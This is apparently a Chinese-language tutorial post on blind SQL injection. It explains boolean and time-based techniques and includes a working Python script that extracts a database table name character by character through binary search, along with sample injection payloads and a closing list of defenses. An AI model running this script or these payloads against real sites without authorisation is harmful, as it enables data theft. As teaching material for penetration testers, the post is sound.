盲注原理解析及手工二分法注入技巧实战

在内网渗透测试中，SQL盲注是一个必须掌握的高级技巧，因为在很多场景下，注入点并不会直接返回可见的错误或结果，而是通过判断某些条件的真假，来逐步推测数据库中的数据。理解盲注的原理以及掌握手工二分法注入技巧，可以帮助我们在面对复杂环境时依然能获取到想要的信息。

核心原理

SQL盲注（Blind SQL Injection）是一种通过观察Web应用的响应行为或时间延迟来推测数据库信息的攻击技术。当应用程序不直接返回数据库错误信息时，攻击者只能通过布尔型（Boolean-based）和时间型（Time-based）盲注来判断注入语句是否成功。

布尔型盲注

布尔型盲注通过构造条件表达式，观察不同输入对应用响应的影响。例如，在一个登录系统中，通过如下SQL语句来判断用户是否存在：

SELECT * FROM users WHERE username = 'admin' AND password = 'password';

通过布尔型盲注，攻击者可以构造如下两种输入：

' OR '1'='1（总是真）
' AND '1'='2（总是假）

观察应用返回结果的差异，来判断数据库的信息。

时间型盲注

时间型盲注则通过“延迟（sleep）”来判断条件是否为真，这在没有明显响应区别时尤其有用。利用时间延迟函数，例如SLEEP()函数，来构造以下语句：

SELECT IF(条件, SLEEP(5), 0);

当条件为真时，响应会延迟5秒，否则立即返回。

实战演示

环境设置

假设我们面对的目标系统是一个简单的在线书店，存在一个盲注点。我们没有明确的错误信息可以利用，但我们必须拿到数据库中某个表名。

二分法字符猜测

使用手工二分法逐字符猜测数据库信息是一个常用的方法。假设我们要猜测表名，我们可以使用如下步骤：

探测字符位置：通过LENGTH()函数确定表名的长度。
逐字符猜测：使用二分法优化猜测过程，通过ASCII值进行二分查找。

示例代码：

import requests

url = "http://target-site.com/products?id="
table_name = ""

for position in range(1, 20):  # 假设表名长度最多为20
    low, high = 32, 126  # 可打印ASCII范围
    while low <= high:
        mid = (low + high) // 2
        payload = f"1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='database_name' LIMIT 1), {position}, 1))>{mid}-- -"
        response = requests.get(url + payload)
        
        if "expected_response" in response.text:  # 判断条件，响应中包含预期字符串
            low = mid + 1
        else:
            high = mid - 1
    
    table_name += chr(low)
    print(f"Table name guessed so far: {table_name}")

上述代码逐字符使用二分法猜测表名，expected_response需替换为响应中标识成功的特征字符串。

布尔盲注示例

以下命令通过布尔盲注探测第一字符是否为字母'A'：

1' AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema='database_name' LIMIT 1), 1, 1))=65-- -

如果响应与无条件查询一致，则第一个字符为'A'。

防御方案

有效的防御措施可以从以下几个方面进行：

参数化查询：使用预准备语句，确保SQL语句与输入数据分离，不会被恶意注入干扰。
输入验证：严谨的输入检查与过滤，拒绝非法字符或关键字。
最小权限原则：数据库用户应当仅拥有执行当前任务所需最低限度的权限。
监控和日志：启用细粒度的数据库日志与请求监控，及时发现异常行为。
Web应用防火墙（WAF）：使用WAF检测并防御常见的注入攻击。

总结

盲注技术虽然复杂，但通过掌握其原理和手工技巧，我们仍然能够在复杂环境中获取数据库信息。良好的攻击技巧应以高度的防御意识为基础，从而在保障自身系统安全的同时，提高渗透测试能力。

💡 思考题： 如果目标系统有WAF保护，你会如何调整攻击策略？欢迎讨论！

📌 关注 @Cn519 深入学习网络安全

盲注原理解析及手工二分法注入技巧实战